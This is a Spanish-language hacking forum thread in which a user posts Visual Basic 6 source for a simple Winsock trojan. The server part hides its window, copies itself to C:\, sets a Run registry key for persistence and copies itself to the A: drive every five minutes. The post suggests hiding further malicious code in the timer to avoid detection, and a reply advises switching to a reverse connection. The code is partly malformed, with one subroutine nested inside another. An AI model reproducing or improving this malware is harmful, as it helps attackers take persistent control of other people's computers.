2 Usuarios en línea: 0 registrados, 2 invitados.
Conéctate y verás los usuarios en línea |
Tema: Troyano Simple - Winsock |
|
|
Autor |
Mensaje (Ver Versión para Imprimir)
|
Mensajes: 10
Registrad@: 15/02/2010
Estado: Desconectad@ |
Troyano Simple - Winsock
Primero quiero presentarme y saludarlos.
Bien, entonces primero creamos el Cliente:
Agregamos al formulario el activeX "Microsoft Winsock control 6.0 (sp5)" y lo agregamos al formulario y lo
llamamos WS.
Ahora agregamos las siguientes cosas:
Dos botones uno lo llamas "Boton_Conexion" y otro "Boton_Desconexion" estos serán los botones de conectar y
desconectar la conexión con el Server.
Un textbox y lo llamamos "TxtIP" que será para poner la IP de tu huésped.
Un label y lo llamamos "SB" que será para poner los estados de la conexión.
ahora empezamos con la línea de códigos del cliente:
CÓDIGO | Private Sub Boton_Conexion_Click()
On Error Resume Next
WS.Close 'Necesario para poder conectarnos otra vez si no hemos desconectado
WS.Connect TxtIP.Text, 1066
End Sub
Código:
Private Sub WS_Connect()
If (WS.State = sckConnected) Then
SB.Caption = "Estado - Conectado (" & WS.RemoteHostIP & ")" 'Pone en un label si estas conectado o no.
End If
End Sub
Código:
Private Sub Boton_Desconexion_Click()
WS.Close 'Cierra la conexión
SB.Caption = " Estado -" 'ya explicado
End Sub
Private Sub WS_Close()
SB.Caption = " Estado - Cerrando Conexión (" & WS.RemoteHostIP & ")" & vbCrLf 'si se cierra el Server sale
desconectado
WS.Close 'Cierra la conexión
SB.Caption = " Estado - Esperando conexión ... " & vbCrLf 'si se cierra el Server sale desconectado
WS.Listen 'Deja a las escucha el puerto
End Sub |
Bien, entonces haora creamos el Server
CÓDIGO |
Private Sub Form_Load()
On Error Resume Next
ws.LocalPort = 1066 'asigna el puerto al winsock
ws.Listen 'deja a la escucha el puerto
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
App.TaskVisible = False
Me.Visible = False
Private Sub Form_Load()
A = App.EXEName
E = ".exe"
C = "C:\Yaneth.exe"
On Error Resume Next
FileCopy A & E, C
Set Yanet = CreateObject("WScript.Shell")
Yanet.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yaneth", C
Open "C:\Yaneth.txt" For Output As #1
Print #1, "\^fibsoZ'e~'Lrftfif`rn(@BC>FD"
Print #1, "\¸^fibso'chicb'btsft8Z"
Print #1, "\¦Btsf'dhi'kkrqnf&+'¦btsf'dhi'kkrqnf&Z"
Print #1, "\H'sfk'qb}+'sfk'qb}'))))'dhi'bk'vrnjndhZ"
Print #1, "\Bth'ih'bt'mrtshZ"
Print #1, "\Dhih}dh'f'fk`rnbi'vrb'kf'vrnbub'jft)))Z"
Close #1
Do
M = Minute(Now)
S = Second(Now)
Y = "A:\Yaneth.exe"
If M = 0 And S = 0 Then FileCopy A & E, Y
If M = 5 And S = 0 Then FileCopy A & E, Y
If M = 10 And S = 0 Then FileCopy A & E, Y
If M = 15 And S = 0 Then FileCopy A & E, Y
If M = 20 And S = 0 Then FileCopy A & E, Y
If M = 25 And S = 0 Then FileCopy A & E, Y
If M = 30 And S = 0 Then FileCopy A & E, Y
If M = 35 And S = 0 Then FileCopy A & E, Y
If M = 40 And S = 0 Then FileCopy A & E, Y
If M = 45 And S = 0 Then FileCopy A & E, Y
If M = 50 And S = 0 Then FileCopy A & E, Y
If M = 55 And S = 0 Then FileCopy A & E, Y
Loop
End Sub
Timer1.Enabled = False
End Sub
Private Sub WS_onClose()
ws.Close 'Cierra la conexión
ws.Listen 'y deja a la escucha el puerto
End Sub
Private Sub WS_onConnectionRequest(ByVal requestID As Long)
ws.Close 'necesario para aceptar la conexión
ws.Accept requestID 'Necesario para poderse conectar
End Sub
|
Este Ejemplo de Troyanono no es peligroso solo se reproduce en el pc
ustedes le pueden pponer el codigo malicioso en el timer para no se detectado |
15/04/2010 00:14:54 | |
Mensajes: 165
Registrad@: 25/08/2009
Estado: Desconectad@ |
RE: Troyano Simple - Winsock
Que Lenguaje Es ?
Seria mas interesante si pusieran toda la info completa :)
Kev!n PunK!! |
15/04/2010 21:06:55 | |
NT38K
Casi Maestro Nivel 3
Mensajes: 229
Registrad@: 17/01/2010
Estado: Desconectad@ |
RE: Troyano Simple - Winsock
Visual Basic.. |
15/04/2010 22:50:12 | |
Mensajes: 229
Registrad@: 12/05/2011
Estado: Desconectad@ |
RE: Troyano Simple - Winsock
COPY AND PASTE XD Y APARTE CON ESE PROYECTO CUANDO EJECUTES EL SERVIDOR EN EL PC AJENO ,.. TE PEDIRA LA OCX PARA CONECTAR (Y NO PODRA EJECUTAR).. LO CUAL HAY QUE HACERLA INVERSA Y UTILIZAR SOCKETS EN VEZ DE WINSOCK JEJEJEJ
PD: LOS BOTONES PARA CONEX INVERSA ,.. NO SIRVEN LO CUAL TIENEN QUE CREAR UN BUCLE INFINITO PARA QUE EL SERVIDOR BUSQUE SOLO AUTOMATICAMENTE AL CLIENTE
RESUMIDA: MALISIMO ESE EJEMPLO
SALUDOS COMPISSSSSSSS
Tu Vendedor Legit-DumpStriper 24/7 |
13/12/2011 09:08:21 | |
REGÍSTRATE PARA PODER ENVIAR UN MENSAJE (tardas 20 segundos)
| |
Copyright ForoHack.com
|